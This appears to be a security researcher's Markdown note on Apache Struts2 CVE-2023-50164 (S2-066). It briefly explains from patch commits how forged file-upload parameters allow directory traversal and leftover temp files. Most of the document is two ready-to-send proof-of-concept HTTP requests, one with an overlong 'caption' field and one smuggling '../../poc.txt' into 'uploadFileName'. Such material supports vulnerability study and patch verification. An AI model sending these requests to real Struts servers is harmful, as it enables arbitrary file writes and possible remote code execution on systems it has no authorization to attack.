58 lines
1.9 KiB
Markdown
58 lines
1.9 KiB
Markdown
## Apache Struts2 CVE-2023-50164
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漏洞描述里提到可通过伪造文件上传的参数导致目录穿越，看版本比对，有两个 Commit 引起我的关注，一个是 Always delete uploaded file，另一个是 Makes HttpParameters case-insensitive。前者的作用是确保上传的临时文件被正确上传，在修复之前，通过构造超长的文件上传参数可以让临时文件继续留存在磁盘中；
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## 漏洞复现分析
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- https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)
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## poc
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```
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POST /s2_066_war_exploded/upload.action HTTP/1.1
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Host: localhost:8080
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Accept-Language: en-US,en;q=0.9
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
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Accept-Encoding: gzip, deflate, br
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
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Content-Length: 593
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------WebKitFormBoundary5WJ61X4PRwyYKlip
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Content-Disposition: form-data; name="upload"; filename="poc.txt"
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Content-Type: text/plain
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test
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------WebKitFormBoundary5WJ61X4PRwyYKlip
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Content-Disposition: form-data; name="caption";
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{{randstr(4097,4097)}}
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------WebKitFormBoundary5WJ61X4PRwyYKlip--
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```
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```
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POST /s2_066_war_exploded/upload.action HTTP/1.1
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Host: localhost:8080
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Accept-Language: en-US,en;q=0.9
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
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Accept-Encoding: gzip, deflate, br
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
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Content-Length: 593
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------WebKitFormBoundary5WJ61X4PRwyYKlip
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Content-Disposition: form-data; name="upload"; filename="poc.txt"
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Content-Type: text/plain
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test
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------WebKitFormBoundary5WJ61X4PRwyYKlip
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Content-Disposition: form-data; name="uploadFileName";
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../../poc.txt
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------WebKitFormBoundary5WJ61X4PRwyYKlip--
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```
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